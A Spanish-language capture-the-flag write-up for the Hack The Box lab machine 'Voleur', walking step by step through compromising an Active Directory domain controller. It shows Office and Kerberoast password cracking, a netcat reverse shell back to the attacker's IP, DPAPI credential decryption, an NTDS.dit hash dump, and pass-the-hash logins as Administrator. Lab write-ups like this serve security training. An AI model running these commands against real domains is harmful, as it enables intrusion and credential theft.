Voleur

OS: Windows
Dificultad: Medio
Puntos: 30
Nmap
ports=$(nmap -p- --min-rate=5000 10.10.11.76 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p $ports -sV -sC 10.10.11.76Nmap scan report for 10.10.11.76
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-11 06:19:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
58289/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
58290/tcp open msrpc Microsoft Windows RPC
58291/tcp open msrpc Microsoft Windows RPC
58317/tcp open msrpc Microsoft Windows RPC
62723/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernelEnumeration
HTB nos proporciona credenciales para iniciar la enumeración.
ryan.naylor : HollowOct31NytAgregamos el dominio y el subdominio a nuestro archivo hosts.
10.10.11.76 voleur.htb dc.voleur.htbAl intentar usar las credenciales directamente nos muestra el siguiente error.
session setup failed: NT_STATUS_NOT_SUPPORTEDEste error es porque está desactivado la autenticación por NTLM por lo tanto necesitamos autenticarnos por kerberos para acceder a los recursos. Utilizamos el módulo bloodhound de netexec para obtener información.
Note
Siempre tenemos que sincronizar la hora con el servidor para no tener el error KRB_AP_ERR_SKEW.timedatectl set-ntp offntpdate -s 10.10.11.76
Utilizamos netexec para enumerar la máquina.
nxc ldap 10.10.11.76 -u 'ryan.naylor' -p 'HollowOct31Nyt' -k -d voleur.htb --bloodhound -c all --dns-server 10.10.11.76LDAP 10.10.11.76 389 DC [*] None (name:DC) (domain:voleur.htb)
LDAP 10.10.11.76 389 DC [+] voleur.htb\ryan.naylor:HollowOct31Nyt
LDAP 10.10.11.76 389 DC Resolved collection methods: container, localadmin, group, session, trusts, acl, rdp, psremote, objectprops, dcom
LDAP 10.10.11.76 389 DC Using kerberos auth without ccache, getting TGT
LDAP 10.10.11.76 389 DC Done in 00M 27S
LDAP 10.10.11.76 389 DC Compressing output into /root/.nxc/logs/DC_10.10.11.76_2025-07-11_024906_bloodhound.zipEl usuario ryan.naylor no pertenece a ningún grupo que nos permita realizar acciones sobre otros objetos por lo tanto enumeramos el servicio SMB, pero es necesario acceder por medio del nombre de dominio dc.voleur.htb.
Con el siguiente comando podemos descargar todos los archivos a los que tengamos acceso.
nxc smb dc.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k -M spider_plus
Vemos el archivo Access_Review.xlsx.
cat /root/.nxc/modules/nxc_spider_plus/dc.voleur.htb.json"IT": {
"First-Line Support/Access_Review.xlsx"Office Crack Password
Al intentar abrir el archivo nos pide un password. Podemos intentar obtenerlo utilizando office2john, esto nos genera un hash para posteriormente romperlo con john.
office2john Access_Review.xlsx > hash.txtObtenemos el password del archivo.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtUsing default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 AVX 4x / SHA512 128/128 AVX 2x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1 (Access_Review.xlsx)
1g 0:00:00:03 DONE (2025-07-11 03:40) 0.3164g/s 248.1p/s 248.1c/s 248.1C/s football1..lolita
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Al abrir el archivo vemos unos cuantos passwords.

Comprobamos que tenemos acceso con los usuarios.
nxc smb dc.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -kSMB dc.voleur.htb 445 dc [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vnnxc smb dc.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -kSMB dc.voleur.htb 445 dc [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8WriteSPN (User)
El usuario svc_ldap tiene el permiso WriteSPN sobre el usuario svc_winrm esto nos permite realizar Targeted Kerberoasting y obtener un hash para posteriormente romperlo.

Primero escribimos sobre el atributo serviceprincipalname con el siguiente comando.
bloodyAD -d 'voleur.htb' --host 'dc.voleur.htb' -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k set object 'svc_winrm' servicePrincipalName -v 'http/doom'[+] svc_winrm's servicePrincipalName has been updatedAhora obtenemos el kerberos hash.
nxc ldap 10.10.11.76 -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k --kerberoast hash.txtLDAP 10.10.11.76 389 DC [*] None (name:DC) (domain:voleur.htb)
LDAP 10.10.11.76 389 DC [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
LDAP 10.10.11.76 389 DC [*] Skipping disabled account: krbtgt
LDAP 10.10.11.76 389 DC [*] Total of records returned 1
LDAP 10.10.11.76 389 DC [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb, pwdLastSet: 2025-01-31 04:10:12.398769, lastLogon: 2025-01-29 10:07:32.711487
LDAP 10.10.11.76 389 DC $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$28b3be7daUtilizamos john nuevamente para obtener el password.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=krb5tgsUsing default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)
1g 0:00:00:04 DONE (2025-07-11 04:01) 0.2197g/s 2521Kp/s 2521Kc/s 2521KC/s AHANACK6978012..AFITA4162
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Evil-winrm (Kerberos)
Este usuario se pueden conectar remotamente, ya que pertenece al grupo Remote Management Users. Para conectarnos por kerberos primero tenemos que configurar nuestro archivo krb5.conf con lo siguiente.
Note
Necesitamos instalar kerberos en nuestro sistema:apt install krb5-user
Agregamos las siguientes líneas al archivo /etc/krb5.conf.
[realms]
VOLEUR.HTB = {
kdc = dc.voleur.htb
}Generamos un ticket con las credenciales.
impacket-getTGT voleur.htb/'svc_winrm':'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_winrm.ccacheCreamos la variable de entorno con el ticket.
export KRB5CCNAME=svc_winrm.ccachePodemos comprobar que el ticket que exportamos anteriormente está cargado correctamente.
klistTicket cache: FILE:svc_winrm.ccache
Default principal: svc_winrm@VOLEUR.HTB
Valid starting Expires Service principal
07/11/2025 04:14:56 07/11/2025 14:14:56 krbtgt/VOLEUR.HTB@VOLEUR.HTB
renew until 07/12/2025 04:14:55Ahora para acceder ejecutamos el siguiente comando.
evil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB*Evil-WinRM* PS C:\Users\svc_winrm\Documents> type ..\Desktop\user.txt
3bcf9337ce3eb638566b5c962e731c9dLateral Movement
El usuario svc_ldap pertenece al grupo RESTORE_USER, este grupo nos permite restablecer objetos eliminados.

Sin embargo requerimos primero obtener una shell para eso utilizamos RunasCs. Primero subimos nc.exe y el RunasCs a la máquina.
mkdir c:\temp
cd c:\temp
upload /root/htb/Box/Voleur/RunasCs.exe
upload /root/htb/Box/Voleur/nc.exeEstablecemos nuestro netcat.
nc -lvnp 1234Ejecutamos el siguiente comando para obtener una shell.
c:\temp\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "C:\temp\nc.exe 10.10.14.15 1234 -e cmd.exe" -t 0
AD Recycle Bin
Enumeramos que objetos han sido eliminados con el siguiente comando.
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Property * | Format-List Name,ObjectGUID,Deleted,DistinguishedNameName : Deleted Objects
ObjectGUID : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=voleur,DC=htb
Name : Todd Wolfe
DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectGUID : 1c6b1deb-c372-4cbb-87b1-15031de169db
Deleted : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htbHay un objeto eliminado, lo podemos restaurar de la siguiente forma.
Restore-ADObject -Identity 1c6b1deb-c372-4cbb-87b1-15031de169dbNo recibiremos respuesta, pero podemos confirmar que el objeto se restauró y además pertenece al grupo Second-Line Support Technician.

Actualmente contamos con el password del usuario que obtuvimos del archivo excel. Utilizamos las credenciales para crear un ticket.
impacket-getTGT voleur.htb/'todd.wolfe':'NightT1meP1dg3on14' -dc-ip 10.10.11.76[*] Saving ticket in todd.wolfe.ccacheexport KRB5CCNAME=todd.wolfe.ccacheAl intentar conectarnos por winrm no funciona, pero podemos enumerar nuevamente el SMB y vemos un directorio nuevo.
impacket-smbclient voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass
DPAPI
Después de enumerar identificamos que hay credenciales cifradas con DPAPI. Ya que no contamos con una shell del usuario actualmente podemos obtener la información cifrada de la siguiente forma.
Descargamos los siguientes archivos.
cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110
get 08949382-134f-4c63-b93c-ce52efc0aa88
cd /Second-Line Support/Archived Users/todd.wolfe/AppData/Roaming/Microsoft/Credentials
get 772275FAD58525253490A9B0039791D3
Ahora para obtener la masterkey ejecutamos lo siguiente.
impacket-dpapi masterkey -f 08949382-134f-4c63-b93c-ce52efc0aa88 -sid 'S-1-5-21-3927696377-1337352550-2781715495-1110' -password 'NightT1meP1dg3on14'[MASTERKEYFILE]
Version : 2 (2)
Guid : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83Con la masterkey desciframos el archivo que contiene credenciales.
impacket-dpapi credential -f 772275FAD58525253490A9B0039791D3 -key '0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83'[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=Jezzas_Account
Description :
Unknown :
Username : jeremy.combs
Unknown : qT3V9pLXyN7W4mPrivilege Escalation
Con las credenciales obtenidas nos conectamos por winrm. Creando un ticket como lo hemos hecho anteriormente.
impacket-getTGT voleur.htb/'jeremy.combs':'qT3V9pLXyN7W4m' -dc-ip 10.10.11.76[*] Saving ticket in jeremy.combs.ccacheexport KRB5CCNAME=jeremy.combs.ccacheevil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB*Evil-WinRM* PS C:\Users\jeremy.combs\Documents> whoami
voleur\jeremy.combsSSH Access
En el directorio IT nuevamente descubrimos más archivos. Entre ellos la llave privada para conectarnos por SSH y una nota.
*Evil-WinRM* PS C:\IT\Third-Line Support> dir
Directory: C:\IT\Third-Line Support
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/30/2025 8:11 AM Backups
-a---- 1/30/2025 8:10 AM 2602 id_rsa
-a---- 1/30/2025 8:07 AM 186 Note.txt.txtLa nota menciona que están utilizando WSL como sistema de backup.
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
AdminDescargamos la llave a nuestra máquina.
*Evil-WinRM* PS C:\IT\Third-Line Support> download id_rsa
Info: Downloading C:\IT\Third-Line Support\id_rsa to id_rsa
Info: Download successful!Utilizamos la llave con el usuario svc_backup. Recordemos que primero hay que darle permiso de lectura al archivo chmod 400 id_rsa.
ssh -p 2222 -i id_rsa svc_backup@10.10.11.76svc_backup@DC:~$ whoami
svc_backupWSDL Backup
Accedemos al directorio Backup desde el wsdl y nos encontramos con archivos importantes que nos permitirán obtener hashes NT.

Descargamos los archivos.
scp -P 2222 -i id_rsa svc_backup@10.10.11.76:'/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit' .
scp -P 2222 -i id_rsa svc_backup@10.10.11.76:'/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM' .Dump NT Hashes
Con esos archivos extraemos los hashes utilizando impacket.
impacket-secretsdump LOCAL -system SYSTEM -ntds ntds.dit[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::Creamos un ticket con el hash del usuario Adminstrator.
impacket-getTGT voleur.htb/'Administrator' -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76[*] Saving ticket in Administrator.ccacheexport KRB5CCNAME=Administrator.ccacheNos conectamos por winrm.
evil-winrm -i DC.VOLEUR.HTB -r VOLEUR.HTB*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
f026cca590281e651b5a9ade9b73a9c7References
https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting
https://github.com/antonioCoco/RunasCs
https://github.com/int0x33/nc.exe/
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://tools.thehacker.recipes/mimikatz/modules/dpapi/masterkey
https://tools.thehacker.recipes/mimikatz/modules/dpapi/cred